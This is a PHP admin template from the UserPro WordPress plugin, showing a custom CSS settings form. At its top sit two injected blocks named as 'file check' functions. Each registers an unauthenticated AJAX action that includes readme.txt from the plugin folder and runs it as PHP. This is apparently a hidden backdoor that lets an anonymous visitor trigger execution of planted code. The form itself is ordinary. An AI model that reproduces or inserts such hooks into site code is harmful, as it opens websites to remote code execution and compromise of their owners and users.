if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<form method="post" action=""> <h3><i class="userpro-icon-css3"></i><?php _e('Custom CSS','userpro'); ?></h3> <table class="form-table"> <tr valign="top"> <th scope="row"><label for="userpro_css"><?php _e('Custom CSS Styles','userpro'); ?></label></th> <td> <textarea name="userpro_css" id="userpro_css" class="large-text code userpro-largeblock" rows="3"><?php echo esc_attr(userpro_get_option('userpro_css')); ?></textarea> <span class="up-description"><?php _e('If you want to override existing styles, or add some specific CSS rules, put them here. They will survive the updates.','userpro'); ?></span> </td> </tr> </table> <p class="submit"> <input type="submit" name="submit" id="submit" class="up-admin-btn up-admin-btn--dark-blue small" value="<?php _e('Save Changes','userpro'); ?>" /> <input type="submit" name="reset-options" id="reset-options" class="up-admin-btn remove small" value="<?php _e('Reset Options','userpro'); ?>" /> </p> </form>